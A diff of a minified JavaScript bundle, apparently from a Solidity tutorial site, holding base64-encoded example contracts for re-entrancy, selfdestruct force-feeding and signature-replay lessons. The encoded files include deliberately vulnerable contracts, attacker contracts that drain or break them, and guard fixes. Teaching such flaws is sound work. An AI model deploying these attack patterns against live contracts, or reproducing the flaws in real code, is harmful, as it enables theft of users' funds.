                                  -`,dW=({prev:s,next:a})=>r.jsx(A,{version:oW,title:rW,description:iW,cyfrinLink:gW,html:IW,prev:s,next:a,codes:hW}),CW="0.8.26",jW="Re-Entrancy",AW="An example of re-entrancy attack in Solidity",uW="",yW=[{fileName:"ReEntrancy.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8qCkV0aGVyU3RvcmUgaXMgYSBjb250cmFjdCB3aGVyZSB5b3UgY2FuIGRlcG9zaXQgYW5kIHdpdGhkcmF3IEVUSC4KVGhpcyBjb250cmFjdCBpcyB2dWxuZXJhYmxlIHRvIHJlLWVudHJhbmN5IGF0dGFjay4KTGV0J3Mgc2VlIHdoeS4KCjEuIERlcGxveSBFdGhlclN0b3JlCjIuIERlcG9zaXQgMSBFdGhlciBlYWNoIGZyb20gQWNjb3VudCAxIChBbGljZSkgYW5kIEFjY291bnQgMiAoQm9iKSBpbnRv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ICAgICAgIHJlcXVpcmUobXNnLnZhbHVlID49IEFNT1VOVCk7CiAgICAgICAgZXRoZXJTdG9yZS5kZXBvc2l0e3ZhbHVlOiBBTU9VTlR9KCk7CiAgICAgICAgZXRoZXJTdG9yZS53aXRoZHJhdygpOwogICAgfQoKICAgIC8vIEhlbHBlciBmdW5jdGlvbiB0byBjaGVjayB0aGUgYmFsYW5jZSBvZiB0aGlzIGNvbnRyYWN0CiAgICBmdW5jdGlvbiBnZXRCYWxhbmNlKCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBhZGRyZXNzKHRoaXMpLmJhbGFuY2U7CiAgICB9Cn0K"},{fileName:"ReEntrancyGuard.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IFJlRW50cmFuY3lHdWFyZCB7CiAgICBib29sIGludGVybmFsIGxvY2tlZDsKCiAgICBtb2RpZmllciBub1JlZW50cmFudCgpIHsKICAgICAgICByZXF1aXJlKCFsb2NrZWQsICJObyByZS1lbnRyYW5jeSIpOwogICAgICAgIGxvY2tlZCA9IHRydWU7CiAgICAgICAgXzsKICAgICAgICBsb2NrZWQgPSBmYWxzZTsKICAgIH0KfQo="}],mW=`

                                  Vulnerability

                                  +`,Z2=({prev:s,next:a})=>r.jsx(A,{version:u2,title:y2,description:m2,cyfrinLink:b2,html:k2,prev:s,next:a,codes:w2}),W2="0.8.26",G2="Re-Entrancy",B2="An example of re-entrancy attack in Solidity",f2="",V2=[{fileName:"ReEntrancy.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8qCkV0aGVyU3RvcmUgaXMgYSBjb250cmFjdCB3aGVyZSB5b3UgY2FuIGRlcG9zaXQgYW5kIHdpdGhkcmF3IEVUSC4KVGhpcyBjb250cmFjdCBpc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hYmxlIHsKICAgICAgICBpZiAoYWRkcmVzcyhldGhlclN0b3JlKS5iYWxhbmNlID49IEFNT1VOVCkgewogICAgICAgICAgICBldGhlclN0b3JlLndpdGhkcmF3KCk7CiAgICAgICAgfQogICAgfQoKICAgIGZ1bmN0aW9uIGF0dGFjaygpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIHJlcXVpcmUobXNnLnZhbHVlID49IEFNT1VOVCk7CiAgICAgICAgZXRoZXJTdG9yZS5kZXBvc2l0e3ZhbHVlOiBBTU9VTlR9KCk7CiAgICAgICAgZXRoZXJTdG9yZS53aXRoZHJhdygpOwogICAgfQoKICAgIC8vIEhlbHBlciBmdW5jdGlvbiB0byBjaGVjayB0aGUgYmFsYW5jZSBvZiB0aGlzIGNvbnRyYWN0CiAgICBmdW5jdGlvbiBnZXRCYWxhbmNlKCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBhZGRyZXNzKHRoaXMpLmJhbGFuY2U7CiAgICB9Cn0K"},{fileName:"ReEntrancyGuard.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IFJlRW50cmFuY3lHdWFyZCB7CiAgICBib29sIGludGVybmFsIGxvY2tlZDsKCiAgICBtb2RpZmllciBub1JlZW50cmFudCgpIHsKICAgICAgICByZXF1aXJlKCFsb2NrZWQsICJObyByZS1lbnRyYW5jeSIpOwogICAgICAgIGxvY2tlZCA9IHRydWU7CiAgICAgICAgXzsKICAgICAgICBsb2NrZWQgPSBmYWxzZTsKICAgIH0KfQo="}],Y2=`

                                  Vulnerability

                                  Let's say that contract A calls contract B.

                                  Reentracy exploit allows B to call back into A before A finishes execution.

                                  // SPDX-License-Identifier: MIT
                                  @@ -10471,7 +10843,7 @@ Here is how the functions were called
                                           locked = false;
                                       }
                                   }
                                  -
                                  `,bW=({prev:s,next:a})=>r.jsx(A,{version:CW,title:jW,description:AW,cyfrinLink:uW,html:mW,prev:s,next:a,codes:yW}),wW="0.8.26",kW="Self Destruct",ZW="An example of how to delete your smart contract by calling seldestruct in Solidity",WW="",BW=[{fileName:"ForceEther.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8vIFRoZSBnb2FsIG9mIHRoaXMgZ2FtZSBpcyB0byBiZSB0aGUgN3RoIHBsYXllciB0byBkZXBvc2l0IDEgRXRoZXIuCi8vIFBsYXllcnMgY2FuIGRlcG9zaXQgb25seSAxIEV0aGVyIGF0IGEgdGltZS4KLy8gV2lubmVyIHdpbGwgYmUgYWJsZSB0byB3aXRoZHJhdyBhbGwgRXRoZXIuCgovKgoxLiBEZXBsb3kgRXRoZXJHYW1lCjIuIFBsYXllcnMgKHNheSBBbGljZSBhbmQgQm9iKSBkZWNpZGVzIHRvIHBsYXksIGRlcG9zaXRzIDEgRXRoZXIgZWFjaC4KMi4gRGVwbG95IEF0dGFjayB3aXRoIGFkZHJlc3Mgb2YgRXRoZXJHYW1lCjMuIENhbGwgQXR0YWNrLmF0dGFjayBzZW5kaW5nIDUgZXRoZXIuIFRoaXMgd2lsbCBicmVhayB0aGUgZ2FtZQogICBObyBvbmUgY2FuIGJlY29tZSB0aGUgd2lubmVyLgoKV2hhdCBoYXBwZW5lZD8KQXR0YWNrIGZvcmNlZCB0aGUgYmFsYW5jZSBvZiBFdGhlckdhbWUgdG8gZXF1YWwgNyBldGhlci4KTm93IG5vIG9uZSBjYW4gZGVwb3NpdCBhbmQgdGhlIHdpbm5lciBjYW5ub3QgYmUgc2V0LgoqLwoKY29udHJhY3QgRXRoZXJHYW1lIHsKICAgIHVpbnQyNTYgcHVibGljIGNvbnN0YW50IFRBUkdFVF9BTU9VTlQgPSA3IGV0aGVyOwogICAgYWRkcmVzcyBwdWJsaWMgd2lubmVyOwoKICAgIGZ1bmN0aW9uIGRlcG9za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iAgICB9Cn0K"}],GW=`

                                  Contracts can be deleted from the blockchain by calling selfdestruct.

                                  +
                                  `,X2=({prev:s,next:a})=>r.jsx(A,{version:W2,title:G2,description:B2,cyfrinLink:f2,html:Y2,prev:s,next:a,codes:V2}),R2="0.8.26",v2="Self Destruct",N2="An example of how to delete your smart contract by calling seldestruct in Solidity",H2="",K2=[{fileName:"ForceEther.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8vIFRoZSBnb2FsIG9mIHRoaXMgZ2FtZSBpcyB0byBiZSB0aGUgN3RoIHBsYXllciB0byBkZXBvc2l0IDEgRXRoZXIuCi8vIFBsYXllcnMgY2FuIGRlcG9zaXQgb25seSAxIEV0aGVyIGF0IGEgdGltZS4KLy8gV2lubmVyIHdpbGwgYmUgYWJsZSB0byB3aXRoZHJhdyBhbGwgRXRoZXIuCgovKgoxLiBEZXBsb3kgRXRoZXJHYW1lCjIuIFBsYXllcnMgKHNheSBBbGljZSBhbmQgQm9iKSBkZWNpZGVzIHRvIHBsYXksIGRlcG9zaXRzIDEgRXRoZXIgZWFjaC4KMi4gRGVwbG95IEF0dGFjayB3aXRoIGFkZHJlc3Mgb2YgRXRoZXJHYW1lCjMuIENhbGwgQXR0YWNrLmF0dGFjayBzZW5kaW5nIDUgZXRoZXIuIFRoaXMgd2lsbCBicmVhayB0aGUgZ2FtZQogICBObyBvbmUgY2FuIGJlY29tZSB0aGUgd2lubmVyLgoKV2hhdCBoYXBwZW5lZD8KQXR0YWNrIGZvcmNlZCB0aGUgYmFsYW5jZSBvZiBFdGhlckdhbWUgdG8gZXF1YWwgNyBldGhlci4KTm93IG5vIG9uZSBjYW4gZGVwb3NpdCBhbmQgdGhlIHdpbm5lciBjYW5ub3QgYmUgc2V0LgoqLwoKY29udHJhY3QgRXRoZXJHYW1lIHsKICAgIHVpbnQyNTYgcHVibGljIGNvbnN0YW50IFRBUkdFVF9BT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mFsdWU6IGFtb3VudH0oIiIpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CiAgICB9Cn0K"}],F2=`

                                  Contracts can be deleted from the blockchain by calling selfdestruct.

                                  selfdestruct sends all remaining Ether stored in the contract to a designated address.

                                  Vulnerability

                                  @@ -10564,7 +10936,7 @@ Now no one can deposit and the winner cannot be set. require(sent, "Failed to send Ether"); } } -`,fW=({prev:s,next:a})=>r.jsx(A,{version:wW,title:kW,description:ZW,cyfrinLink:WW,html:GW,prev:s,next:a,codes:BW}),VW="0.8.26",YW="Signature Replay",XW="An example of a contract vulnerable to signature replay attack",vW="",RW=[{fileName:"ECDSA.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8vIE9wZW5aZXBwZWxpbiBDb250cmFjdHMgKGxhc3QgdXBkYXRlZCB2NC41LjApICh1dGlscy9jcnlwdG9ncmFwaHkvRUNEU0Euc29sKQoKbGlicmFyeSBFQ0RTQSB7CiAgICBlbnVtIFJlY292ZXJFcnJvciB7CiAgICAgICAgTm9FcnJvciwKICAgICAgICBJbnZhbGlkU2lnbmF0dXJlLAogICAgICAgIEludmFsaWRTaWduYXR1cmVMZW5ndGgsCiAgICAgICAgSW52YWxpZFNpZ25hdHVyZVMsCiAgICAgICAgSW52YWxpZFNpZ25hdHVyZVYKICAgIH0KCiAgICBmdW5jdGlvbiBfdGhyb3dFcnJvcihSZWNvdmVyRXJyb3IgZXJyb3IpIHByaXZhdGUgcHVyZSB7CiAgICAgICAgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5Ob0Vycm9yKSB7CiAgICAgICAgICAgIHJldHVybjsgLy8gbm8gZXJyb3I6IGRvIG5vdGhpbmcKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlKSB7CiAgICAgICAgICAgIHJldmVydCgiRUNEU0E6IGludmFsaWQgc2lnbmF0dXJlIik7CiAgICAgICAgfSBlbHNlIGlmIChlcnJvciA9PSBSZWNvdmVyRXJyb3IuSW52YWxpZFNpZ25hdHVyZUxlbmd0aCkgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSBsZW5ndGgiKTsKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlUykgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSAncycgdmFsdWUiKTsKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlVikgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSAndicgdmFsdWUiKTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gdHJ5UmVjb3ZlcihieXRlczMyIGhhc2gsIGJ5dGVzIG1lbW9yeSBzaWduYXR1cmUpCiAgICAgICAgaW50ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYWRkcmVzcywgUmVjb3ZlckVycm9yKQogICAgewogICAgICAgIC8vIENoZWNrIHRoZSBzaWduYXR1cmUgbGVuZ3RoCiAgICAgICAgLy8gLSBjYXNlIDY1OiByLHMsdiBzaWduYXR1cmUgKHN0YW5kYXJkKQogICAgICAgIC8vIC0gY2FzZSA2NDogcix2cyBzaWduYXR1cmUgKGNmIGh0dHBzOi8vZWlwcy5ldGhlcmV1bS5vcmcvRUlQUy9laXAtMjA5OCkgX0F2YWlsYWJsZSBzaW5jZSB2NC4xLl8KICAgICAgICBpZiAoc2lnbmF0dXJlLmxlbmd0aCA9PSA2NSkgewogICAgICAgICAgICBieXRlczMyIHI7CiAgICAgICAgICAgIGJ5dGVzMzIgczsKICAgICAgICAgICAgdWludDggdjsKICAgICAgICAgICAgLy8gZWNyZWNvdmVyIHRha2VzIHRoZSBzaWduYXR1cmUgcGFyYW1ldGVycywgYW5kIHRoZSBvbmx5IHdheSB0byBnZXQgdGhlbQogICAgICAgICAgICAvLyBjdXJyZW50bHkgaXMgdG8gdXNlIGFzc2VtYmx5LgogICAgICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgICAgICByIDo9IG1sb2FkKGFkZChzaWduYXR1cmUsIDB4MjApKQogICAgICAgICAgICAgICAgcyA6PSBtbG9hZChhZGQoc2lnbmF0dXJlLCAweDQwKSkKICAgICAgICAgICAgICAgIHYgOj0gYnl0ZSgwLCBtbG9hZChhZGQoc2lnbmF0dXJlLCAweDYwKSkpCiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgdiwgciwgcyk7CiAgICAgICAgfSBlbHNlIGlmIChzaWduYXR1cmUubGVuZ3RoID09IDY0KSB7CiAgICAgICAgICAgIGJ5dGVzMzIgcjsKICAgICAgICAgICAgYnl0ZXMzMiB2czsKICAgICAgICAgICAgLy8gZWNyZWNvdmVyIHRha2VzIHRoZSBzaWduYXR1cmUgcGFyYW1ldGVycywgYW5kIHRoZSBvbmx5IHdheSB0byBnZXQgdGhlbQogICAgICAgICAgICAvLyBjdXJyZW50bHkgaXMgdG8gdXNlIGFzc2VtYmx5LgogICAgICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgICAgICByIDo9IG1sb2FkKGFkZChzaWduYXR1cmUsIDB4MjApKQogICAgICAgICAgICAgICAgdnMgOj0gbWxvYWQoYWRkKHNpZ25hdHVyZSwgMHg0MCkpCiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgciwgdnMpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHJldHVybiAoYWRkcmVzcygwKSwgUmVjb3ZlckVycm9yLkludmFsaWRTaWduYXR1cmVMZW5ndGgpOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiByZWNvdmVyKGJ5dGVzMzIgaGFzaCwgYnl0ZXMgbWVtb3J5IHNpZ25hdHVyZSkKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzKQogICAgewogICAgICAgIChhZGRyZXNzIHJlY292ZXJlZCwgUmVjb3ZlckVycm9yIGVycm9yKSA9IHRyeVJlY292ZXIoaGFzaCwgc2lnbmF0dXJlKTsKICAgICAgICBfdGhyb3dFcnJvcihlcnJvcik7CiAgICAgICAgcmV0dXJuIHJlY292ZXJlZDsKICAgIH0KCiAgICBmdW5jdGlvbiB0cnlSZWNvdmVyKGJ5dGVzMzIgaGFzaCwgYnl0ZXMzMiByLCBieXRlczMyIHZzKQogICAgICAgIGludGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGFkZHJlc3MsIFJlY292ZXJFcnJvcikKICAgIHsKICAgICAgICBieXRlczMyIHMgPSB2cwogICAgICAgICAgICAmIGJ5dGVzMzIoCiAgICAgICAgICAgICAgICAweDdmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmYKICAgICAgICAgICAgKTsKICAgICAgICB1aW50OCB2ID0gdWludDgoKHVpbnQyNTYodnMpID4+IDI1NSkgKyAyNyk7CiAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgdiwgciwgcyk7CiAgICB9CgogICAgZnVuY3Rpb24gcmVjb3ZlcihieXRlczMyIGhhc2gsIGJ5dGVzMzIgciwgYnl0ZXMzMiB2cykKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzKQogICAgewogICAgICAgIChhZGRyZXNzIHJlY292ZXJlZCwgUmVjb3ZlckVycm9yIGVycm9yKSA9IHRyeVJlY292ZXIoaGFzaCwgciwgdn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gICAgICB9CgogICAgICAgIHJldHVybiAoc2lnbmVyLCBSZWNvdmVyRXJyb3IuTm9FcnJvcik7CiAgICB9CgogICAgZnVuY3Rpb24gcmVjb3ZlcihieXRlczMyIGhhc2gsIHVpbnQ4IHYsIGJ5dGVzMzIgciwgYnl0ZXMzMiBzKQogICAgICAgIGludGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGFkZHJlc3MpCiAgICB7CiAgICAgICAgKGFkZHJlc3MgcmVjb3ZlcmVkLCBSZWNvdmVyRXJyb3IgZXJyb3IpID0gdHJ5UmVjb3ZlcihoYXNoLCB2LCByLCBzKTsKICAgICAgICBfdGhyb3dFcnJvcihlcnJvcik7CiAgICAgICAgcmV0dXJuIHJlY292ZXJlZDsKICAgIH0KCiAgICBmdW5jdGlvbiB0b0V0aFNpZ25lZE1lc3NhZ2VIYXNoKGJ5dGVzMzIgaGFzaCkKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChieXRlczMyKQogICAgewogICAgICAgIC8vIDMyIGlzIHRoZSBsZW5ndGggaW4gYnl0ZXMgb2YgaGFzaCwKICAgICAgICAvLyBlbmZvcmNlZCBieSB0aGUgdHlwZSBzaWduYXR1cmUgYWJvdmUKICAgICAgICByZXR1cm4ga2VjY2FrMjU2KAogICAgICAgICAgICBhYmkuZW5jb2RlUGFja2VkKCJceDE5RXRoZXJldW0gU2lnbmVkIE1lc3NhZ2U6XG4zMiIsIGhhc2gpCiAgICAgICAgKTsKICAgIH0KfQo="},{fileName:"PreventSigReplay.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmltcG9ydCAiLi9FQ0RTQS5zb2wiOwoKY29udHJhY3QgTXVsdGlTaWdXYWxsZXQgewogICAgdXNpbmcgRUNEU0EgZm9yIGJ5dGVzMzI7CgogICAgYWRkcmVzc1syXSBwdWJsaWMgb3duZ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CiAgICBmdW5jdGlvbiBnZXRUeEhhc2goYWRkcmVzcyBfdG8sIHVpbnQyNTYgX2Ftb3VudCkKICAgICAgICBwdWJsaWMKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAoYnl0ZXMzMikKICAgIHsKICAgICAgICByZXR1cm4ga2VjY2FrMjU2KGFiaS5lbmNvZGVQYWNrZWQoX3RvLCBfYW1vdW50KSk7CiAgICB9CgogICAgZnVuY3Rpb24gX2NoZWNrU2lncyhieXRlc1syXSBtZW1vcnkgX3NpZ3MsIGJ5dGVzMzIgX3R4SGFzaCkKICAgICAgICBwcml2YXRlCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgYnl0ZXMzMiBldGhTaWduZWRIYXNoID0gX3R4SGFzaC50b0V0aFNpZ25lZE1lc3NhZ2VIYXNoKCk7CgogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IF9zaWdzLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIGFkZHJlc3Mgc2lnbmVyID0gZXRoU2lnbmVkSGFzaC5yZWNvdmVyKF9zaWdzW2ldKTsKICAgICAgICAgICAgYm9vbCB2YWxpZCA9IHNpZ25lciA9PSBvd25lcnNbaV07CgogICAgICAgICAgICBpZiAoIXZhbGlkKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHJldHVybiB0cnVlOwogICAgfQp9Cg=="}],NW=`

                                  Signing messages off-chain and having a contract that requires that signature before executing +`,M2=({prev:s,next:a})=>r.jsx(A,{version:R2,title:v2,description:N2,cyfrinLink:H2,html:F2,prev:s,next:a,codes:K2}),S2="0.8.26",x2="Signature Replay",J2="An example of a contract vulnerable to signature replay attack",z2="",D2=[{fileName:"ECDSA.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8vIE9wZW5aZXBwZWxpbiBDb250cmFjdHMgKGxhc3QgdXBkYXRlZCB2NC41LjApICh1dGlscy9jcnlwdG9ncmFwaHkvRUNEU0Euc29sKQoKbGlicmFyeSBFQ0RTQSB7CiAgICBlbnVtIFJlY292ZXJFcnJvciB7CiAgICAgICAgTm9FcnJvciwKICAgICAgICBJbnZhbGlkU2lnbmF0dXJlLAogICAgICAgIEludmFsaWRTaWduYXR1cmVMZW5ndGgsCiAgICAgICAgSW52YWxpZFNpZ25hdHVyZVMsCiAgICAgICAgSW52YWxpZFNpZ25hdHVyZVYKICAgIH0KCiAgICBmdW5jdGlvbiBfdGhyb3dFcnJvcihSZWNvdmVyRXJyb3IgZXJyb3IpIHByaXZhdGUgcHVyZSB7CiAgICAgICAgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5Ob0Vycm9yKSB7CiAgICAgICAgICAgIHJldHVybjsgLy8gbm8gZXJyb3I6IGRvIG5vdGhpbmcKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlKSB7CiAgICAgICAgICAgIHJldmVydCgiRUNEU0E6IGludmFsaWQgc2lnbmF0dXJlIik7CiAgICAgICAgfSBlbHNlIGlmIChlcnJvciA9PSBSZWNvdmVyRXJyb3IuSW52YWxpZFNpZ25hdHVyZUxlbmd0aCkgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSBsZW5ndGgiKTsKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlUykgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSAncycgdmFsdWUiKTsKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlVikgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSAndicgdmFsdWUiKTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gdHJ5UmVjb3ZlcihieXRlczMyIGhhc2gsIGJ5dGVzIG1lbW9yeSBzaWduYXR1cmUpCiAgICAgICAgaW50ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYWRkcmVzcywgUmVjb3ZlckVycm9yKQogICAgewogICAgICAgIC8vIENoZWNrIHRoZSBzaWduYXR1cmUgbGVuZ3RoCiAgICAgICAgLy8gLSBjYXNlIDY1OiByLHMsdiBzaWduYXR1cmUgKHN0YW5kYXJkKQogICAgICAgIC8vIC0gY2FzZSA2NDogcix2cyBzaWduYXR1cmUgKGNmIGh0dHBzOi8vZWlwcy5ldGhlcmV1bS5vcmcvRUlQUy9laXAtMjA5OCkgX0F2YWlsYWJsZSBzaW5jZSB2NC4xLl8KICAgICAgICBpZiAoc2lnbmF0dXJlLmxlbmd0aCA9PSA2NSkgewogICAgICAgICAgICBieXRlczMyIHI7CiAgICAgICAgICAgIGJ5dGVzMzIgczsKICAgICAgICAgICAgdWludDggdjsKICAgICAgICAgICAgLy8gZWNyZWNvdmVyIHRha2VzIHRoZSBzaWduYXR1cmUgcGFyYW1ldGVycywgYW5kIHRoZSBvbmx5IHdheSB0byBnZXQgdGhlbQogICAgICAgICAgICAvLyBjdXJyZW50bHkgaXMgdG8gdXNlIGFzc2VtYmx5LgogICAgICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgICAgICByIDo9IG1sb2FkKGFkZChzaWduYXR1cmUsIDB4MjApKQogICAgICAgICAgICAgICAgcyA6PSBtbG9hZChhZGQoc2lnbmF0dXJlLCAweDQwKSkKICAgICAgICAgICAgICAgIHYgOj0gYnl0ZSgwLCBtbG9hZChhZGQoc2lnbmF0dXJlLCAweDYwKSkpCiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgdiwgciwgcyk7CiAgICAgICAgfSBlbHNlIGlmIChzaWduYXR1cmUubGVuZ3RoID09IDY0KSB7CiAgICAgICAgICAgIGJ5dGVzMzIgcjsKICAgICAgICAgICAgYnl0ZXMzMiB2czsKICAgICAgICAgICAgLy8gZWNyZWNvdmVyIHRha2VzIHRoZSBzaWduYXR1cmUgcGFyYW1ldGVycywgYW5kIHRoZSBvbmx5IHdheSB0byBnZXQgdGhlbQogICAgICAgICAgICAvLyBjdXJyZW50bHkgaXMgdG8gdXNlIGFzc2VtYmx5LgogICAgICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgICAgICByIDo9IG1sb2FkKGFkZChzaWduYXR1cmUsIDB4MjApKQogICAgICAgICAgICAgICAgdnMgOj0gbWxvYWQoYWRkKHNpZ25hdHVyZSwgMHg0MCkpCiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgciwgdnMpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHJldHVybiAoYWRkcmVzcygwKSwgUmVjb3ZlckVycm9yLkludmFsaWRTaWduYXR1cmVMZW5ndGgpOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiByZWNvdmVyKGJ5dGVzMzIgaGFzaCwgYnl0ZXMgbWVtb3J5IHNpZ25hdHVyZSkKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzKQogICAgewogICAgICAgIChhZGRyZXNzIHJlY292ZXJlZCwgUmVjb3ZlckVycm9yIGVycm9yKSA9IHRyeVJlY292ZXIoaGFzaCwgc2lnbmF0dXJlKTsKICAgICAgICBfdGhyb3dFcnJvcihlcnJvcik7CiAgICAgICAgcmV0dXJuIHJlY292ZXJlZDsKICAgIH0KCiAgICBmdW5jdGlvbiB0cnlSZWNvdmVyKGJ5dGVzMzIgaGFzaCwgYnl0ZXMzMiByLCBieXRlczMyIHZzKQogICAgICAgIGludGVybmFsCiAgICAgICAgc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2VIYXNoKGJ5dGVzMzIgaGFzaCkKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChieXRlczMyKQogICAgewogICAgICAgIC8vIDMyIGlzIHRoZSBsZW5ndGggaW4gYnl0ZXMgb2YgaGFzaCwKICAgICAgICAvLyBlbmZvcmNlZCBieSB0aGUgdHlwZSBzaWduYXR1cmUgYWJvdmUKICAgICAgICByZXR1cm4ga2VjY2FrMjU2KAogICAgICAgICAgICBhYmkuZW5jb2RlUGFja2VkKCJceDE5RXRoZXJldW0gU2lnbmVkIE1lc3NhZ2U6XG4zMiIsIGhhc2gpCiAgICAgICAgKTsKICAgIH0KfQo="},{fileName:"PreventSigReplay.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmltcG9ydCAiLi9FQ0RTQS5zb2wiOwoKY29udHJhY3QgTXVsdGlTaWdXYWxsZXQgewogICAgdXNpbmcgRUNEU0EgZm9yIGJ5dGVzMzI7CgogICAgYWRkcmVzc1syXSBwdWJsaWMgb3duZXJzOwogICAgbWFwcGluZyhieXRlczMyID0+IGJvb2wpIHB1YmxpYyBleGVjdXRlZDsKCiAgICBjb25zdHJ1Y3RvcihhZGRyZXNzWzJdIG1lbW9yeSBfb3duZXJzKSBwYXlhYmxlIHsKICAgICAgICBvd25lcnMgPSBfb3duZXJzOwogICAgfQoKICAgIGZ1bmN0aW9uIGRlcG9zaXQoKSBleHRlcm5hbCBwYXlhYmxlIHt9CgogICAgZnVuY3Rpb24gdHJhbnNmZXIoCiAgICAgICAgYWRkcmVzcyBfdG8sCiAgICAgICAgdWludDI1NiBfYW1vdW50LAogICAgICAgIHVpbnQyNTYgX25vbmNlLAogICAgICAgIGJ5dGVzWzJdIG1lbW9yeSBfc2lncwogICAgKSBleHRlcm5hbCB7CiAgICAgICAgYnl0ZXMzMiB0eEhhc2ggPSBnZXRUeEhhc2goX3RvL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YXNoKCk7CgogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IF9zaWdzLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIGFkZHJlc3Mgc2lnbmVyID0gZXRoU2lnbmVkSGFzaC5yZWNvdmVyKF9zaWdzW2l